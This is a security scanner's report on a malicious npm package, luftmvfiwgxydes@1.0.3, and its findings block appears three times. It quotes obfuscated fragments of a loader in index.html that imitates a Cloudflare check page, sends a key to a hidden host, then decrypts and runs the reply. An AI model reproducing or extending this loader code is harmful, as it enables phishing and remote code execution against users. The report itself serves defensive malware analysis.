luftmvfiwgxydes@1.0.3: Malicious npm security report (Block)

Loading npm security reports…

luftmvfiwgxydes@1.0.3: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged

182} L183: (function(_0x3c30f6,_0x35c9b6){const _0x3c6d4f={_0xe2248b:0x18e,_0xfdf910:0xf7,_0x375940:0x13c,_0x2c75f9:0x1e5,_0xad53db:0xaa,_0x40caba:0x1d1,_0x15e1c3:0x214,_0x5c788d:0xca,_0x3b3a...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html impersonates a Cloudflare Just a moment page and loads the real Turnstile script from challenges.cloudflare.com.

index.htmlView on unpkg · L7

183const hostKey=_0xfa1cc(0x40a,0x38c,0x363,0x39d)+_0x2c8cf1(0x3dc,0x349,0x3dd,0x38b)+_0xfa1cc(0x4d8,0x472,0x4a7,0x4a6)+_0xfa1cc(0x3e3,0x359,0x3ef,0x3f2)+_0xfa1cc(0x429,0x4da,0x469,0x47d),aesKeyBase64=_0xfa1cc(0x4b0,0x49c,0x3f2,0x424)+_0x2c8cf1(0x310,0x2c5,0x2d0,0x355)+_0xfa1cc(0x46e,0x4d8,0x436,0x4ca)+_0xfa1cc(0x2fc,0x3f9,0x349,0x393)+_0xfa1cc(0x3f7,0x449,0x48e,0x47e),hasTurnstile=!![],turnstileSiteKey=_0xfa1cc(0x41e,0x35d,0x351,0x3ec)+_0x2c8cf1(0x2ef,0x367,0x2fc,0x2fc)+_0x2c8cf1(0x2ab,0x31b,0x353,0x3bc)

High

Ai Review Evidence

Obfuscated startup code reconstructs hostKey, aesKeyBase64, and a Turnstile site key at runtime.

index.htmlView on unpkg · L183

183'wWhut':'https://ap'+_0x13eeb2(-0x203,-_0xab4a47._0x3bc71b,-_0xab4a47._0x1d732c,-_0xab4a47._0x17d0e4)+_0x4c75ea(0x5c,_0xab4a47._0x438b6d,_0xab4a47._0x22d301,0xdd),'bdwXZ':_0x13eeb2(-_0xab4a47._0x3c7738,-_0xab4a47._0x77b743,-_0xab4a47._0x3c2c59,-_0xab4a47._0x41e44e),'jueCK':'applicatio'+'n/json'

High

Ai Review Evidence

The page POSTs JSON containing hostKey to a hostname built from the literal https://ap prefix plus hidden fragments.

index.htmlView on unpkg · L183

183const _0x105d4e=await fetch(_0x417848[_0x25bf05(_0x1b1be6._0x21699a,_0x1b1be6._0x9e0f3b,_0x1b1be6._0x599cbe,0x361)],{'method':_0x417848[_0x25bf05(_0x1b1be6._0x61bfbe,_0x1b1be6._0x13ca78,_0x1b1be6._0xa4a1fb,_0x1b1be6._0x20f6a6)],'headers':{'Content-Type':_0x417848[_0x6fedab(-_0x1b1be6._0x883825,-0x312,-0x327,-_0x1b1be6._0x3489aa)]},'body':JSON['stringify'](_0x122401)})

High

Ai Review Evidence

The page POSTs JSON containing hostKey to a hostname built from the literal https://ap prefix plus hidden fragments.

index.htmlView on unpkg · L183

183const _0x3c9df0=await crypto[_0x25bf05(_0x1b1be6._0xa8cbef,_0x1b1be6._0x254670,_0x1b1be6._0x57067a,0x306)][_0x25bf05(_0x1b1be6._0x70502f,0x2f4,_0x1b1be6._0x2dda93,_0x1b1be6._0x50c850)](_0x417848['QOtpU'],decodeBase64(aesKeyBase64),_0x238085,![],[_0x417848[_0x6fedab(-_0x1b1be6._0x44b4e6,-_0x1b1be6._0x3edec5,-0x150,-0x1eb)]]),_0x49fabd={};_0x49fabd[_0x6fedab(-_0x1b1be6._0x38c318,-_0x1b1be6._0x43af10,-0x251,-_0x1b1be6._0x13d9c1)]='AES-CTR'

High

Ai Review Evidence

The reply is AES-CTR decrypted with the embedded key and executed through the Function constructor.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.3", "main": "index.html", "files": [ "index.html" ] }

High

Suspicious Lifecycle Evidence

The manifest publishes only a random-named package whose main file is index.html and defines no npm lifecycle scripts.

package.jsonView on unpkg · L1

Source & flagged code

8 flagged · loading source

index.htmlView file

182} L183: (function(_0x3c30f6,_0x35c9b6){const _0x3c6d4f={_0xe2248b:0x18e,_0xfdf910:0xf7,_0x375940:0x13c,_0x2c75f9:0x1e5,_0xad53db:0xaa,_0x40caba:0x1d1,_0x15e1c3:0x214,_0x5c788d:0xca,_0x3b3a...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html impersonates a Cloudflare Just a moment page and loads the real Turnstile script from challenges.cloudflare.com.

index.htmlView on unpkg · L7

High

Ai Review Evidence

Obfuscated startup code reconstructs hostKey, aesKeyBase64, and a Turnstile site key at runtime.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The page POSTs JSON containing hostKey to a hostname built from the literal https://ap prefix plus hidden fragments.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The page POSTs JSON containing hostKey to a hostname built from the literal https://ap prefix plus hidden fragments.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The reply is AES-CTR decrypted with the embedded key and executed through the Function constructor.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.3", "main": "index.html", "files": [ "index.html" ] }

High

Suspicious Lifecycle Evidence

The manifest publishes only a random-named package whose main file is index.html and defines no npm lifecycle scripts.

package.jsonView on unpkg · L1

Source & flagged code

8 flagged

index.htmlView file

182} L183: (function(_0x3c30f6,_0x35c9b6){const _0x3c6d4f={_0xe2248b:0x18e,_0xfdf910:0xf7,_0x375940:0x13c,_0x2c75f9:0x1e5,_0xad53db:0xaa,_0x40caba:0x1d1,_0x15e1c3:0x214,_0x5c788d:0xca,_0x3b3a...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title> <link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

index.html impersonates a Cloudflare Just a moment page and loads the real Turnstile script from challenges.cloudflare.com.

index.htmlView on unpkg · L7

High

Ai Review Evidence

Obfuscated startup code reconstructs hostKey, aesKeyBase64, and a Turnstile site key at runtime.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The page POSTs JSON containing hostKey to a hostname built from the literal https://ap prefix plus hidden fragments.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The page POSTs JSON containing hostKey to a hostname built from the literal https://ap prefix plus hidden fragments.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The reply is AES-CTR decrypted with the embedded key and executed through the Function constructor.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.3", "main": "index.html", "files": [ "index.html" ] }

High

Suspicious Lifecycle Evidence

The manifest publishes only a random-named package whose main file is index.html and defines no npm lifecycle scripts.

package.jsonView on unpkg · L1

luftmvfiwgxydes@1.0.3

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code